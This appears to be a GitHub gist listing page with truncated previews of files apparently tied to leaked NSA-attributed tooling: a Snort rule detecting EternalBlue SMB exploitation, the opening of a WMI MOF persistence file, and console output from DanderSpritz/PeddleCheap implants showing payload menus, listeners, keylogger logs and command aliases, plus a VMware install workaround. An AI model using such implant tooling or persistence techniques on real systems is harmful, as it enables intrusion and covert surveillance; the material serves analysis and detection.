misterch0c
/ gist:eaf6fcb0065b3f01f43469697f3accc5
Created
November 9, 2017 16:36
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 0xce49849306Ba415b5b7DB7fF3c850241c69bc0e7 |
misterch0c
/ VMWare12.5.6_linux_kernel4.11.2-1
Created
May 28, 2017 09:30
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| before installation: | |
| # sed 's/gcc version 7/gcc version 6/' /proc/version > /tmp/version | |
| # mount --bind /tmp/version /proc/version | |
| now install/ reinstall ... | |
| # umount /proc/version && rm /tmp/version | |
| # cp -r /usr/lib/vmware-installer/2.1.0/lib/lib/libexpat.so.0 /usr/lib/vmware/lib |
misterch0c
/ eternalbluesnort.rules
Created
April 20, 2017 11:32
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"OS-WINDOWS Microsoft Windows SMB remote code execution attempt"; flow:to_server,established; content:"|FF|SMB3|00 00 00 00|"; depth:9; offset:4; byte_extract:2,26,TotalDataCount,relative,little; byte_test:2,>,TotalDataCount,20,relative,little; metadata:policy balanced-ips drop, policy connectivity-ips drop, policy security-ips drop, ruleset community, service netbios-ssn; reference:cve,2017-0144; reference:cve,2017-0146; reference:url,isc.sans.edu/forums/diary/ETERNALBLUE+Possible+Window+SMB+Buffer+Overflow+0Day/22304/; reference:url,technet.microsoft.com/en-us/security/bulletin/MS17-010; classtype:attempted-admin; sid:41978; rev:3;) |
misterch0c
/ mof
Created
April 19, 2017 23:18
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #pragma namespace ("\\\\.\\Root\\cimv2") | |
| class MSClassConsumer71 | |
| { | |
| [key] string Name; | |
| }; | |
| class ActiveScriptEventConsumer : __EventConsumer | |
| { | |
| [key] string Name; |
misterch0c
/ gist:2419bc9507cf13ec06695cb874907a07
Created
April 19, 2017 19:26
DFReport_00544-GetFile_all_2017_04_19_19h11m54s.191.get
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ImplantIndependent: | |
| Special: | |
| StraitBizarre: | |
| UnitedRake: | |
| UR ToggleFA Return Code: 0x6 | |
| FlewAvenue: | |
| Legacy: | |
| KillSuit: | |
| CritterFrenzy: | |
| DiveBar: |
misterch0c
/ DOUBLEFEATURE
Created
April 19, 2017 19:05
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Enter menu option: [0] | |
| 3 | |
| Running command 'registryquery -hive l -key "Software\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\TypeLib"' | |
| Failed to open registry key | |
| The system cannot find the file specified. | |
| *** Command indicated failure *** | |
| - Special registry key NOT present. | |
| Continue? | |
| CONTINUE |
misterch0c
/ pc_prep
Created
April 16, 2017 01:07
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 01:06:52>> pc_prep -sharedlib | |
| [01:06:52] ID: 2744 'python' started [target: z0.0.0.20] | |
| - Possible payloads: | |
| - 0) - Quit | |
| - 1) - Standard TCP (i386-winnt Level3 sharedlib) | |
| - 2) - HTTP Proxy (i386-winnt Level3 sharedlib) | |
| - 3) - Standard TCP (x64-winnt Level3 sharedlib) | |
| - 4) - HTTP Proxy (x64-winnt Level3 sharedlib) | |
| - 5) - Standard TCP Generic (i386-winnt Level4 sharedlib) | |
| - 6) - HTTP Proxy Generic (i386-winnt Level4 sharedlib) |
misterch0c
/ keylogger_ASCII_all_2017_04_15_23h32m09s.534.get
Created
April 16, 2017 00:39
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| archive file header | |
| magicNumber: 0x12345678 | |
| read/write stats: | |
| pos_write_pointer: 0x0000014c | |
| pos_read_pointer: 0x00000120 | |
| wrap_count: 0x00000000 | |
| num_health_events: 0x00000000 | |
| last_data_block_key: 0x00000840 | |
| file_time_stamp: 07/14/2009 01:20:36 |
misterch0c
/ peddlecheap-output
Created
April 15, 2017 23:06
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [22:59:16] ID: 1125 'pc_listen' started [target: z0.0.0.1] | |
| Waiting for connection... | |
| Setting Sockopt | |
| Listening on [0.0.0.0]:443. | |
| Setting Sockopt | |
| Listening on [0.0.0.0]:80. | |
| Setting Sockopt | |
| Listening on [0.0.0.0]:53. | |
| Setting Sockopt | |
| Listening on [0.0.0.0]:1509. |
misterch0c
/ aliases-dsz
Last active
June 15, 2020 20:10
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 21:25:59>> aliases | |
| [21:25:59] ID: 331 'aliases' started [target: z0.0.0.1] | |
| acquiretoken : LOCAL : script _AcquireToken.dss %%cmd_args%% | |
| acquiretoken : ANY_REMOTE : script _AcquireToken.dss %%cmd_args%% | |
| arparp : LOCAL : python windows/arparp.py -args " %%cmd_args%% " -project Ops | |
| arparp : ANY_REMOTE : python windows/arparp.py -args " %%cmd_args%% " -project Ops | |
| channels : LOCAL : commands %%cmd_args%% | |
| channels : ANY_REMOTE : commands %%cmd_args%% | |
| checkpsp : LOCAL : python windows/checkpsp.py -args " %%cmd_args%% " -project Ops | |
| checkpsp : ANY_REMOTE : python windows/checkpsp.py -args " %%cmd_args%% " -project Ops |